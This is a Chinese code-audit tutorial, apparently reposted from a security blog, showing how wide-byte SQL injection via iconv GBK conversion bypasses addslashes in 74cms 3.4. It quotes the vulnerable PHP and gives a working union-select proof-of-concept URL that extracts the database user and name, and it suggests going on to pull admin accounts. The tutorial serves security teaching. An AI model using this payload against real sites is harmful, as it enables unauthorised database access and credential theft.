【PHP代码审计实例教程】SQL注入-5.全局防护Bypass之宽字节注入

独自等待 2017年5月12日01:48:51评论374 views字数 5093阅读16分58秒阅读模式

0x01 背景

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:

1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;

2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。

现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码导致的注入问题。

思路来源于FreeBuf:

http://www.freebuf.com/articles/web/31537.html

漏洞来源于乌云:

http://www.wooyun.org/bugs/wooyun-2014-063219

0x02 环境搭建

看背景我们使用了低版本的74cms程序,版本为3.4(20140310)

①源码网上可以搜到,我打包了一份:http://pan.baidu.com/s/1c1mLCru

②解压到www的74cms(20140310)目录下,浏览器访问http://localhost/74cms(20140310)),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:

php代码审计

0x03 漏洞分析

Part1:源码结构

源码的结构比较清晰,应该是审计过最清晰的结构了,主要有下面三块内容:

php代码审计

index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:

if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE   = addslashes_deep($_COOKIE);
$_REQUEST  = addslashes_deep($_REQUEST);

可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。

而且74cms为了防止宽字节注入,将MySQL连接设置为二进制读取,配置在/include/mysql.class.php中:

function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
    $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
    if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
        $this->dbshow('Can not connect to Mysql!');
    } else {
        if($this->dbversion() > '4.1'){
            mysql_query( "SET NAMES gbk");
            if($this->dbversion() > '5.0.1'){
                mysql_query("SET sql_mode = ''",$this->linkid);
                //character_set_client=binary即二进制方式
                mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid);
            }
        }
    }

接下来看看php中iconv函数的使用会造成什么样的后果。

Part2:审计过程

注入一分析:

1.在/plus/ajax_user.php注册处:

elseif ($act=='do_reg')
{
$captcha=get_cache('captcha');
if ($captcha['verify_userreg']=="1")
{
    $postcaptcha=$_POST['postcaptcha'];
    if ($captcha['captcha_lang']=="cn" && strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
    {
    $postcaptcha=iconv("utf-8",QISHI_DBCHARSET,$postcaptcha);
    }
    if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
    {
    exit("err");
    }
}
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$username = isset($_POST['username'])?trim($_POST['username']):exit("err");
$password = isset($_POST['password'])?trim($_POST['password']):exit("err");
$member_type = isset($_POST['member_type'])?intval($_POST['member_type']):exit("err");
$email = isset($_POST['email'])?trim($_POST['email']):exit("err");
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
//对注册的名字进行utf-8到GBK的编码转换
$username=iconv("utf-8",QISHI_DBCHARSET,$username);
$password=iconv("utf-8",QISHI_DBCHARSET,$password);
}
 $register=user_register($username,$password,$member_type,$email);

这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。

所以如果我们将username设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后这里注册时会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来引发注入漏洞。

2.我们继续跟进$register=user_register($username,$password,$member_type,$email);

这里的user_register函数,在/include/fun_user.php里:

//检查简历的完成程度
//注册会员
function user_register($username,$password,$member_type=0,$email,$uc_reg=true)
{
global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;
$member_type=intval($member_type);
//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进
$ck_username=get_user_inusername($username);
$ck_email=get_user_inemail($email);
... ...
return $insert_id;
}

3.继续跟进get_user_inusername函数,在/include/fun_user.php里:

function get_user_inusername($username)
{
global $db;
//带入查询,可注入~
$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";
return $db->getone($sql);
}

注入二分析:

在plus/ajax_street.php中:

elseif($act == 'key')
{
$key=trim($_GET['key']);
if (!empty($key))
{
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) 
//对参数key进行utf-8到GBK编码的转换
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
//带入查询,可以注入
$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");
//将查询结果输出到页面中,可回显
while($row = $db->fetch_array($result))
{
    if ($listtype=="li")
    {
    $htm.="
  • {$row['c_name']}
  • "; } else { $_GET['streetid']=$row['c_id']; $url=url_rewrite('QS_street',$_GET); $htm.="
  • {$row['c_name']}{$row['stat_jobs']}
  • "; }; } if (empty($htm)) { $htm="没有找到关键字: {$key} 相关道路!"; } exit($htm); } }

    这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。

    0x04 漏洞证明

    我们使用注入二(有回显)的来做证明

    发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:

    http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23

    php代码审计

    查看sql语句发现查询语句里反斜杠被转移,单引号成功逃逸出来:

    php代码审计

    最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。

    附GBK的汉字编码范围:

    汉字区包括:

    a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。

    b. GB 13000.1 扩充汉字区。包括:

    (1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。

    (2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。

    可以看到,GBK编码中的两个字符是一个汉字,第一个字符需要大于128。

    原文地址:

    http://www.cnbraid.com/2016/02/28/sql4/



    from www.waitalone.cn.thanks for it.

    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    独自等待
    • 本文由 发表于 2017年5月12日01:48:51
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     【PHP代码审计实例教程】SQL注入-5.全局防护Bypass之宽字节注入https://cn-sec.com/archives/50293.html
                    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

    发表评论

    匿名网友 填写信息